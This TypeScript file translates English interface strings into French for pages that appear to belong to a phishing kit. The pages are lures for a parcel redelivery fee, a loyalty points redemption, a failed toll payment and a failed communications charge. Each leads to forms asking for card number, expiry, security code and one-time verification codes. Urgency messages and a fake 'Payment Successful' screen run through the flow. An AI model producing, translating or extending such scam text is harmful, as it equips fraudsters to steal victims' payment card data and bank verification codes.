85 lines
4.5 KiB
TypeScript
85 lines
4.5 KiB
TypeScript
export default {
|
||
"There is an error in this field, please check": "Il y a une erreur dans ce champ, veuillez vérifier",
|
||
"Please enter a valid email address": "Veuillez saisir une adresse e-mail valide",
|
||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||
"Chers utilisateurs, veuillez remplir le formulaire avec soin afin d'assurer la bonne livraison",
|
||
"Your Name": "Votre nom",
|
||
"Address": "Adresse",
|
||
"Detailed Address": "Adresse détaillée",
|
||
"(Optional)": "(Optionnel)",
|
||
"City": "Ville",
|
||
"State": "État",
|
||
"Province": "Province",
|
||
"Region": "Région",
|
||
"Zip Code": "Code postal",
|
||
"E-Mail": "E-mail",
|
||
"Next": "Suivant",
|
||
"Telephone Number": "Numéro de téléphone",
|
||
"Online": "En ligne",
|
||
"Payment": "Paiement",
|
||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||
"Pour une nouvelle livraison, des frais de service s'appliquent. Votre colis sera réexpédié après paiement",
|
||
"lump sum: ": "montant forfaitaire : ",
|
||
"Cardholder": "Titulaire de la carte",
|
||
"Card Number": "Numéro de carte",
|
||
"Expire Date": "Date d’expiration",
|
||
"Security Code": "Code de sécurité",
|
||
"Submit": "Soumettre",
|
||
"Click here to receive another code": "Cliquez ici pour recevoir un autre code",
|
||
"Please confirm your identity and a one-time code will be sent":
|
||
"Veuillez confirmer votre identité. Un code unique sera envoyé à votre numéro de téléphone ou à votre adresse e-mail. Veuillez entrer le code de vérification ici",
|
||
"The verification code has been sent to": "Le code de vérification a été envoyé à",
|
||
"Please do not click the":
|
||
"Veuillez ne pas cliquer sur les boutons 'Actualiser' ou 'Retour' car cela pourrait interrompre votre transaction",
|
||
"Verification code error, please try again": "Erreur de code de vérification, veuillez réessayer",
|
||
"The session is about to expire, please complete the verification now":
|
||
"La session est sur le point d’expirer, veuillez terminer la vérification maintenant",
|
||
"This card does not support this transaction, please try another card":
|
||
"Cette carte ne prend pas en charge cette transaction, veuillez essayer une autre carte",
|
||
"Authorized bank": "Banque autorisée",
|
||
"Please go to the bank App to confirm the authorization":
|
||
"Veuillez accéder à l’application bancaire pour confirmer l’autorisation",
|
||
"Please do not close this page": "Veuillez ne pas fermer cette page",
|
||
"Payment Successful": "Paiement réussi !",
|
||
"Thank you for your purchase. Your payment has been processed successfully":
|
||
"Merci pour votre achat. Votre paiement a été traité avec succès",
|
||
"Mailing address": "Adresse postale",
|
||
"street address or house number": "rue ou numéro de maison",
|
||
"Apartment number": "Numéro d'appartement, numéro de chambre, etc.",
|
||
"Safe payment": "Paiement sécurisé",
|
||
"Verification code": "Code de vérification",
|
||
"Welcome": "Bienvenue",
|
||
"back": "retour !",
|
||
"We reward you for using point services": "Nous vous récompensons pour l’utilisation de nos services à points",
|
||
"Check your points": "Vérifiez vos points",
|
||
"Phone number": "Numéro de téléphone",
|
||
"Inquire": "Consulter",
|
||
"Exchange": "Échanger",
|
||
"Spend points": "Utiliser les points",
|
||
"Points Available": "Points disponibles",
|
||
"You don't have enough points": "Vous n’avez pas assez de points",
|
||
"Please redeem your favorite product": "Veuillez échanger contre votre produit préféré",
|
||
"Confirm your shipping address": "Confirmez votre adresse de livraison",
|
||
"Order number": "Numéro de commande : ",
|
||
"Pay": "Payer",
|
||
"Pay Message": "Payez {0} pour échanger des points contre un produit",
|
||
"Pay electronic tolls online": "Payer les péages électroniques en ligne",
|
||
"your electronic toll payment was unsuccessful":
|
||
"votre paiement de péage électronique a échoué.",
|
||
"Billing Information": "Informations de facturation",
|
||
"Description": "Description",
|
||
"Dear customer": "Cher client :",
|
||
"Electronic Communications Charge Payment Failed":
|
||
"Échec du paiement des frais de communication électronique",
|
||
"Invoice Number": "Numéro de facture",
|
||
"Amount": "Montant",
|
||
"Pay Immediately": "Payer immédiatement",
|
||
"Phone Number": "Numéro de téléphone",
|
||
"Electronic communication fee payment failed":
|
||
"Échec du paiement des frais de communication électronique",
|
||
"Illustrate": "Illustrer",
|
||
"Processing payment": "Traitement du paiement",
|
||
"Please do not refresh or close the page":
|
||
"Veuillez ne pas actualiser ou fermer la page",
|
||
};
|